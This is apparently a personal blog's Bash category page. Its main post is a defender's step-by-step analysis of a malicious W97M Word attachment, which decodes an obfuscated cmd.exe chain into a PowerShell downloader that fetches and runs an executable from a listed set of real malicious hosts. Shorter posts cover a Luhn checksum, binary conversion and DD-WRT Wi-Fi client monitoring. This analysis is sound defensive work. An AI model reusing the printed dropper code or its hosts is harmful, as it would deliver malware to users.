Category: Bash

  • Finding Malware URLs in W97M infected Word Docs

    Finding Malware URLs in W97M infected Word Docs

    An email with a trojan Microsoft Word document made it past the spam filter today at work. At least one user reported opening the attachment.

    The attachment was named: DOCO943488.doc, but running the file through virustotal.com it was clear that it’s been known by other names..

    screenshot from virustotal.com

    To help affected people find this page here are some hashes of the file:

    MD5: 1f692eb039d73ca5cb3fde95263ba93a
    SHA1: bc3549d15b2801b4e6058991031b5f799bbad9fe
    SHA256: a989a2bcab4cea78ee6c5ae18e6c19a54cd9e2fe47b43a1ec38c9fd41adc5a4e

    I *think* the script inside of the Word Document is the W97M.Downloader

    I decided to take a closer look, and document my process in case it is helpful to anyone else.

    user@host:~$ file DOCO943488.doc
    DOCO943488.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Nov 15 16:38:00 2018, Last Saved Time/Date: Thu Nov 15 16:38:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0

    Nothing too surprising here, guess it’s a Word Doc..

    I’ve added some line breaks and ellipses for formatting and brevity in the output below, but I haven’t changed any relevant details.

    Lets see if the binutils “strings” command can shed any light on this

    user@host:~$ strings DOCO943488.doc |head
    c:\JBUEhTiEouzSbm\kdYQAzP\IsqKHzXL\..\..\..\windows\system32\cmd.exe /C"^se^t ^u^O=s^s.s^a&&s^e
    ^t tF^U^x=^b&&s^e^t ^h^u^f=^str^e&&s^e^t 3^H^5=^t^ ^-&&^set s^WD^p=^’&&^s^e^t v^M^5V=^.&&^s^et
    j^lN=^hr&&^s^et hX^s^P=vc&&s^e^t rzSu=^h&&s^e^t ^j^2n=n^ ^$&&s^et ^htk=^w&&^se^t ^8^d=c&&^s^et

    Hmm, looks like something is here, maybe if I remove some carets it will be more clear.

    user@host:~$ strings DOCO943488.doc |sed ‘s/\^//g’ |head
    c:\JBUEhTiEouzSbm\kdYQAzP\IsqKHzXL\..\..\..\windows\system32\cmd.exe /C"set uO=ss.sa&&set tFUx=b
    &&set huf=stre&&set 3H5=t -&&set sWDp=’&&set vM5V=.&&set jlN=hr&&set hXsP=vc&&set rzSu=h&&set
    j2n=n $&&set htk=w&&set 8d=c&&set jkZg=d&&set Dm=v&&set vC0H=;&&set wvs=eB&&set 3zN=.&&set u1=:&&

    Yeah that’s looking better, looks like they’re running a bunch of commands in the cmd.exe Command Prompt. Let’s look at them one per line instead of chained together with “&&“s.

    user@host:~$ strings DOCO943488.doc |sed ‘s/\^//g’ |sed ‘s/&&/\n/g’ |head
    c:\JBUEhTiEouzSbm\kdYQAzP\IsqKHzXL\..\..\..\windows\system32\cmd.exe /C"set uO=ss.sa
    set tFUx=b
    set huf=stre
    set 3H5=t –
    set sWDp=’

    Huh, OK, looks like they are setting a bunch of variables with tiny bits of text so as to obfuscate what’s happening. Let’s look at some lines that don’t just begin with “set” to see what the script is doing with all these bits.

    user@host:~$ strings DOCO943488.doc |sed ‘s/\^//g’ |sed ‘s/&&/\n/g’ |grep -ve ^set |head
    c:\JBUEhTiEouzSbm\kdYQAzP\IsqKHzXL\..\..\..\windows\system32\cmd.exe /C"set uO=ss.sa
    call set UJ4=%Y1eE%%fQDi%%Ut%%hYq%%J2%%Rkvf%%0E%%UDO%%mN4%%R3r4%%Ts%%wyO%%WS4%%MJ%…
    call %UJ4%"

    The first line that doesn’t begin with “set” we’ve already seen, it’s the command prompt statement, ignoring that and moving on we see that they are setting a new variable called UJ4 with a value made up from the values of all of the little obfuscated parts we saw earlier. Finally they are executing whatever commands are inside that obfuscated value.

    We need to know the value inside of UJ4, which we can get by looking up the value to all the “set” statements in the order they appear inside of the “set UJ4” line.

    Let’s save this to a file (script.txt) so we can unravel the mystery

    user@host:~$ strings DOCO943488.doc |sed ‘s/\^//g’ |sed ‘s/&&/\n/g’ >script.txt

    Next a quick bash script to reassemble the obfuscated parts in the correct order

    #!/bin/bash

    obfuscated="$(grep -m1 ‘set UJ4’ script.txt)"
    obfuscated="${obfuscated#*’UJ4=’}"

    plain=""

    while [ "${#obfuscated}" -gt 0 ];
    do
            if [ "${obfuscated:0:1}" == ‘%’ ]; then
                    # Lookup var value
                    obfuscated="${obfuscated:1}"
                    value="$(grep -m1 "set ${obfuscated%%’%’*}" script.txt)"
                    value="${value#*’=’}"
                    if [ -n "$value" ]; then
                            plain+="$value"
                    fi
                    obfuscated="${obfuscated#*’%’}"

            else
                    # Append literal
                    plain+="${obfuscated%%’%’*}"
                    obfuscated="%${obfuscated#*’%’}"
            fi

    done

    echo "$plain"

    Run that to get our results…

    user@host:~$ ./unravel.sh
    powershell $swA=’Rpt’;$tWX=’http://icxturkeyscom/e@http://c-vietnam.es/SAgs@http://cungnhaudocsach.vn/l@http://lightad.com.br/G5i4hhrx@http://www.vcorset.com/wp-content/uploads/XX9f’.Split(‘@’);$SiC=([.ystem.IO.Path]::GetTempPath()+’\jqI.exe’);$dIO =New-Object -com ‘msxml2.xmlhttp’;$lss = New-Object -com ‘adodb.stream’;foreach($ZsC in $tWX){try{$dIO.open(‘GET’,$ZsC,0);$dIO.send();$lss.open();$lss.type = 1;$lss.write($dIO.responseBod$);$lss.savetofile($SiC);Start-Process $SiC;break}catch{}}

    Hmm, another layer to the onion, looks like the cmd.exe commands generates a powershell script. Let’s format a little cleaner

    user@host:~$ ./unravel.sh |sed ‘s/;/;\n/g’
    powershell $swA=‘Rpt’;
    $tWX=‘http://icxturkeyscom/e@http://c-vietnam.es/SAgs@http://cungnhaudocsach.vn/l@http://lightad.com.br/G5i4hhrx@http://www.vcorset.com/wp-content/uploads/XX9f’.Split(‘@’);
    $SiC=([.ystem.IO.Path]::GetTempPath()+‘\jqI.exe’);
    $dIO =New-Object com ‘msxml2.xmlhttp’;
    $lss = New-Object com ‘adodb.stream’;
    foreach($ZsC in $tWX){try{$dIO.open(‘GET’,$ZsC,0);
    $dIO.send();
    $lss.open();
    $lss.type = 1;
    $lss.write($dIO.responseBod$);
    $lss.savetofile($SiC);
    StartProcess $SiC;
    break}catch{}}

    OK good, looks like this is the bottom of the rabbit hole.

    Taking a look, we’ve got an array ($tWX) of URLs:

    http://icxturkeyscom/e
    http://c-vietnam.es/SAgs
    http://cungnhaudocsach.vn/l
    http://lightad.com.br/G5i4hhrx
    http://www.vcorset.com/wp-content/uploads/XX9f

    They use the msxml2.xmlhttp COM object ($dIO) to open a connection to each server ($ZsC) in the list and if successful use adodb.stream ($lss) to write the downloaded contents into a file ($SiC) named “jqI.exe” in the temporary directory returned by GetTempPath.

    I think this means if a user opened this attachment and it executed properly there would be a file named jqI.exe in the directory specified in the first defined environment variable in the following ordered list of environment variables: %TMP%, %TEMP%, %USERPROFILE%, and finally if all else fails %WINDIR%.

    Unfortunately all of the URLs in the list returned “403 Forbidden” when I attempted to get a sample of the malicious executable. I say “unfortunately”, but I suppose this is all for the best, as it hopefully means many people who opened this attachment might have been spared some of the consequences. The first URL in the list isn’t even valid, I’m not sure if this was something I did, or the malware author did (I bet the latter). “icx.turkeys.com” does resolve, perhaps that’s what it was supposed to be although there was no malicious payload to be found there either.

    Still, it was possible that one of our users might have gotten the malicious executable before it was removed from all the servers. Luckily we force all local DNS traffic through our own server and keep pretty robust logging of queries there. After consulting those logs it was clear to me that even the one user who reported opening the attachment did not execute the malicious script.

    While it feels like a bit of work for nothing, I think the effort was still worth it for the peace of mind (and also maybe a little bit of fun as well).

    UPDATE: Since writing this a few more emails have come through with only slightly modified versions of the first script.

    I’ve modified the bash script to work with the sample files I have, hopefully other Doc files infected with W97M (if that is what this is) can also be used.

    If you want a copy you can download it here: w97url.zip

    The script takes one argument, the name of the Doc file, and outputs the list of URLs that the downloader fetches from.

    Here are the sums of some other files I’ve used this with

    Name: Express – 4QHJ67386155378293.doc
    MD5: 2fbd99c8b3bbde8a84732dc05ae85281
    SHA1: baa1e5b1ad75fff04b448c97a6847e7389a700f8
    SHA256: 522a44fe5b0f334e2191919fc7861a2234ee0eb1815e3f4875271edd7320f3cb  

    Name: FILEO8346.doc
    MD5: 8a9969b083e3f893375f1d583b2f5c96
    SHA1: 8e32ce09cce9578d8ac2897ca07702df5b34e703
    SHA256: c9e3f794ef01c043dcc79c7fcf8c040bb6a9fd20b91bcba0f2af61438b536bb5

    So far the following hosts have been found to be listed:

    icx.turkeys.com
    c-vietnam.es
    cungnhaudocsach.vn
    lightad.com.br
    zhangjiabirdnest.co
    panelapreta.com.br
    sitrantor.es
    managementservices.com
    elogs.co.il
    al-arabpoets.com
    proarchiland.ru
    www.alefbookstores.com
  • Bash Snippet: Luhn Algorithm

    Bash Snippet: Luhn Algorithm

    I like Bash, but it isn’t well suited for some tasks. For fun I sometimes ignore that. Occasionally people seem to find this useful.

    In that spirit, here is my implementation of the popular Luhn / mod10 algorithm used in credit card, IMEI, and other number sequences.

    download [luhn.zip]

    # Returns Luhn checksum for supplied sequence
    luhn_checksum() {
            sequence="$1"
            sequence="${sequence//[^0-9]}" # numbers only plz
            checksum=0
            table=(0 2 4 6 8 1 3 5 7 9)

            # Quicker to work with even number of digits
            # prepend a "0" to sequence if uneven
            i=${#sequence}
            if [ $(($i % 2)) -ne 0 ]; then
                    sequence="0$sequence"
                    ((++i))
            fi

            while [ $i -ne 0 ];
            do
                    # sum up the individual digits, do extra stuff w/every other digit
                    checksum="$(($checksum + ${sequence:$((i – 1)):1}))" # Last digit
                    # for every other digit, double the value before adding the digit
                     # if the doubled value is over 9, subtract 9
                    checksum="$(($checksum + ${table[${sequence:$((i – 2)):1}]}))" # Second to last digit
                    i=$((i – 2))

            done
            checksum="$(($checksum % 10))" # mod 10 the sum to get single digit checksum
            echo "$checksum"
    }

    # Returns Luhn check digit for supplied sequence
    luhn_checkdigit() {
            check_digit=$(luhn_checksum "${1}0")
            if [ $check_digit -ne 0 ]; then
                    check_digit=$((10$check_digit))
            fi
            echo "$check_digit"
    }

    # Tests if last digit is the correct Luhn check digit for the sequence
    # Returns true if valid, false if not
    luhn_test() {
            if [ "$(luhn_checksum $1)" == "0" ]; then
                    return 0
            else
                    return 1
            fi
    }

    To maximize the enjoyment I’ve optimized the script a little bit in two ways:

      1) Normally every other digit of the sequence to be computed is multiplied by 2. If that result is greater than 9, then 9 is subtracted. There are only 10 single digits in base-10, so it seemed reasonable to precompute these values. This saves not only the multiplication step, but also the conditional branch (on greater/less than 9), and the occasional subtraction operation (when values were greater than 9).
      2) I prepend a 0 to the submitted sequence if there are an uneven number of digits in the sequence. The leading 0 doesn’t affect the end result, but being assured of having pairs of digits available in the while loop of our luhn_checksum() function saves us from needing to keep track of which digits should be added directly and which should be handled as described in optimization #1 above.

    If for some reason you are actually using this script, you probably will be most interested in luhn_checkdigit() and luhn_test().

    Here is an example of how this can be used:

    #!/bin/bash
    source luhn.sh


    # Example IMEI number from Wikipedia
    sample_imei="352152097374972"
    if luhn_test "$sample_imei"; then
            echo "$sample_imei might be a valid IMEI"
    else
            echo "$sample_imei is an invalid IMEI"
    fi

    # Same number with the last two digits transposed
    sample_imei="352152097374927"
    if luhn_test "$sample_imei"; then
            echo "$sample_imei might be a valid IMEI"
    else
            echo "$sample_imei is an invalid IMEI"
    fi

    # Creating a check digit for a set of numbers
    echo "35215209737497 would be a valid looking IMEI if you added a $(luhn_checkdigit "35215209737497") to the end"

    # Many credit card types also use this checksum
    sample_mastercard="5105105105105100"
    if luhn_test "$sample_mastercard"; then
            echo "$sample_mastercard might be a valid card number"
    else
            echo "$sample_mastercard in an invalid card number"
    fi
    user@host:~$ ./demo.sh
    352152097374972 might be a valid IMEI
    352152097374927 is an invalid IMEI
    35215209737497 would be a valid looking IMEI if you added a 2 to the end
    5105105105105100 might be a valid card number
  • Bash Snippet: Decimal to Binary Conversion

    Bash Snippet: Decimal to Binary Conversion

    Convert a decimal value into the binary representation and vice versa in Bash using only built-ins. If you know a better way, please let me know. To ensure a properly formatted expression for the arithmetic expansion in bin2dec, the dec2bin function prefixes zeros as needed to pad to a character count evenly divisible by 8.

    dec2bin () {
        num="$1"
        bin=""
        padding=""
        base2=(0 1)
        while [ "$num" -gt 0 ];
        do
                bin=${base2[$(($num % 2))]}$bin
                num=$(($num / 2))
        done
        if [ $((8(${#bin} % 8))) -ne 8 ]; then
                printf -v padding ‘%*s’ $((8(${#bin} % 8)))
                padding=${padding// /0}
        fi
        echo $padding$bin
    }


    bin2dec () {
            echo $((2#$1))
    }

    Examples:

    user@host:~$ dec2bin 1
    00000001
    user@host:~$ bin2dec 00000001
    1
    user@host:~$ dec2bin 255
    11111111
    user@host:~$ bin2dec 11111111
    255
    user@host:~$ bin2dec 1010101010101010
    43690
    user@host:~$ dec2bin 43690
    1010101010101010

    Perhaps not the most efficient way, but at least for small numbers it appears to be quicker than opening a subshell.

    user@host:~$ time dec2bin 43690
    1010101010101010

    real    0m0.001s
    user    0m0.000s
    sys 0m0.000s
    user@host:~$ time echo "obase=2;43690" | bc
    1010101010101010

    real    0m0.002s
    user    0m0.000s
    sys 0m0.000s
  • Detect Wi-Fi Clients on your DD-WRT Router

    Here is a script I wrote that scrapes the web interface of a router running DD-WRT. The script looks for the MAC addresses of wireless users. When it sees a MAC address that it hasn’t logged before it issues an alert. To help identify the new equipment, a portion of the MAC address is sent to an IEEE OUI database search (Internet connection required) to determine the manufacturer name. This script is intended to be ran periodically from crond on a system other than the router. When the script detects a new MAC address it writes to STDOUT, in most cron configurations this will result in an email being generated to the local system user running the process, or to another address specified in the MAILTO variable.

    Sample /etc/crontab entry

    MAILTO="5558675309@sms.mobile.example.org"
    * * * * *       root    /usr/local/sbin/wifi-macs.sh

    Sample output generated when a new iPhone connects to the ‘MySSID’ network.

    Alert new client found on MySSID MAC: 040CCECAFE00 (Apple, Inc.)

    Download wifi-macs.sh

    #!/bin/bash

    #Set the username used for web access to the router
    ROUTER_USER="root"
    #Set the password used for web access to the router
    ROUTER_PWD="admin"
    #Set the IP address where the router can be reached, optional port
    #number can be specified like 192.168.1.1:80
    ROUTER_IP="192.168.1.1"

    #If you have your router setup to support https, change to https
    PROTO="http"

    LOGS="/var/log/wifi"

    read_macs () {
            while read line
            do
                    if [ "${line//active_wireless/}" != "$line" ]; then
                            OFS="$IFS"
                            IFS="\’"
                            for word in ${line[@]}
                            do
                                    if [ "${#word}" -eq "17" ]; then
                                    mac="${word//:/}"
                                            if [ "${#mac}" -eq "12" ]; then
                                                    echo "$mac"
                                            fi
                                    fi
                            done
                            OFS="$IFS"
                            mac=""
                            word=""
                    fi
            done
    }

    read_ssid () {
            while read line
            do
                    if [ "${line//wl_ssid/}" != "$line" ]; then
                            line="${line##*"wl_ssid::"}"
                            line="${line%%"}"*}"
                            echo "
    $line"
                    fi
            done
    }

    read_company () {
            while read line
            do
                    if [ "
    ${line//"(base 16)"/}" != "$line" ]; then
                            line="
    ${line##*'(base 16)’}"
                            line="
    ${line:2}"
                            echo "
    $line"
                    fi
            done
    }


    if ! [ -d "
    $LOGS" ]; then
            echo "
    Logs directory $LOGS does not exist" >&2
            exit 1
    fi

    wldata="
    `curl -s –user $ROUTER_USER:$ROUTER_PWD $PROTO://$ROUTER_IP/Status_Wireless.live.asp`"
    ssid="
    `echo $wldata |read_ssid`"
    macs=(`echo $wldata |read_macs`)

    for mac in ${macs[@]}
    do
            if ! [ -f "
    $LOGS/$mac" ]; then
                    company="
    `curl -s "http://standards.ieee.org/cgi-bin/ouisearch?${mac:0:6}" |read_company`"
                    echo "
    Alert new client found on $ssid MAC: $mac ($company)"
                    echo "
    New MAC Address detected: `date`" >>$LOGS/$mac
                    echo -e "
    ${mac:0:6}\t\t$company" >>$LOGS/$mac
                    echo -e "
    Additional Data:\n$wldata" >>$LOGS/$mac
            fi
    done